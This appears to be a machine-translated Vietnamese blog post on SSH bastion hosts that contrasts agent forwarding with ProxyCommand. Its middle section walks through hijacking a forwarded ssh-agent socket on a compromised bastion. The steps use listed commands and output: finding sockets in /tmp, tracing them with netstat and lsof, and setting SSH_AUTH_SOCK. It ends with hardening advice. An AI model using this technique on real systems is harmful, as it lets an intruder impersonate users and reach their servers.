Tôi đã thấy câu trả lời về ProxyJump. Hãy nói về ProxyCommand .
Nhưng chờ đã, đợi đã! Tôi có thể viết cho bạn cách hack máy chủ sử dụng chuyển tiếp Đại lý, điều đó sẽ dễ hiểu hơn nhiều về sự khác biệt!
Hãy hack!
Đối với các bước cơ bản: bạn có thể đọc bài viết của tôi ở đây
Các bước cơ bản như sau:
- Tạo người dùng pháo đài
- Vô hiệu hóa đăng nhập root
- Chặn các nỗ lực hack
- Thay đổi cổng
- Cấu hình tường lửa
- Định cấu hình SELinux
Cách sử dụng AgentForwarding
-Tạo cấu hình trong ~ / .ssh / config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Thêm khóa xác thực của bạn vào ssh-agent
ssh-add ~/.ssh/name_rsa
-Kết nối với pháo đài
ssh bast
-Kết nối máy chủ ứng dụng từ pháo đài
ssh app@IP -p PORT
Hack!
Bạn có thể, tốt, hỏi tôi câu hỏi:
Làm thế nào để hack máy chủ nếu bạn xâm phạm máy chủ pháo đài?
Theo dõi mục tiêu
Trong thư mục / tmp bạn có thể thấy một cái gì đó như thế:
[root@localhost tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Hãy mở tập tin tạm thời
[root@localhost tmp]# cd ssh-mKX88v0Vlo/
[root@localhost ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Chúng ta hãy xem các kết nối đến id quá trình này.
netstat -nxp | grep 10507
kết quả:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
và ai được kết nối?
lsof -i -a -p 10507
kết quả:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Chúng tôi cũng có thể xem các tập tin ổ cắm:
cd /proc/10507/fd/
ls
kết quả:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Và điều gì xảy ra khi máy khách sẽ được kết nối với máy chủ từ xa? hãy xem nào:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Chúng tôi thậm chí có thể xem nếu tập tin ổ cắm được sử dụng bằng netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Ăn cắp thông tin ổ cắm và địa chỉ IP
Bây giờ chúng ta cần đánh cắp thông tin ổ cắm trong khi phiên của máy chủ pháo đài đang mở . Ồ, chúng tôi cũng cần IP máy chủ đích , vì vậy chỉ cần sử dụng netstat:
netstat -tn
Bước cuối cùng để sử dụng tệp ổ cắm được chuyển tiếp
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Kiểm tra nếu khóa được tải .
ssh-add -l
kết quả sẽ là một cái gì đó như thế :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Máy chủ bị hack, làm thế nào để khắc phục vấn đề bảo mật?
Lệnh proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Đối với các hoạt động cơ bản: cách chuyển tệp qua máy chủ (từ máy khách sang máy chủ, máy chủ sang máy khách), bạn có thể đọc bài đăng của tôi ở đây
Phần kết luận
- Nếu bạn sử dụng máy chủ pháo đài, không sử dụng AgentForwarding mà sử dụng ProxyCommand
- Luôn sử dụng người dùng không root để xác thực
- Sử dụng tường lửa và chặn tất cả các kết nối không cần thiết.
- Sử dụng SELinux (Nói chung)
- Chặn địa chỉ IP, những người cố gắng đăng nhập nhiều lần với thông tin không chính xác
- Nếu không cần thiết, đừng cấp quyền sudo cho người dùng
- Giám sát máy chủ của bạn
- Cập nhật máy chủ của bạn cho các bản vá bảo mật
Thêm thông tin, xem blog của tôi . Ngoài ra, tôi có một số ảnh chụp màn hình, vì vậy nó có thể hữu ích cho bạn.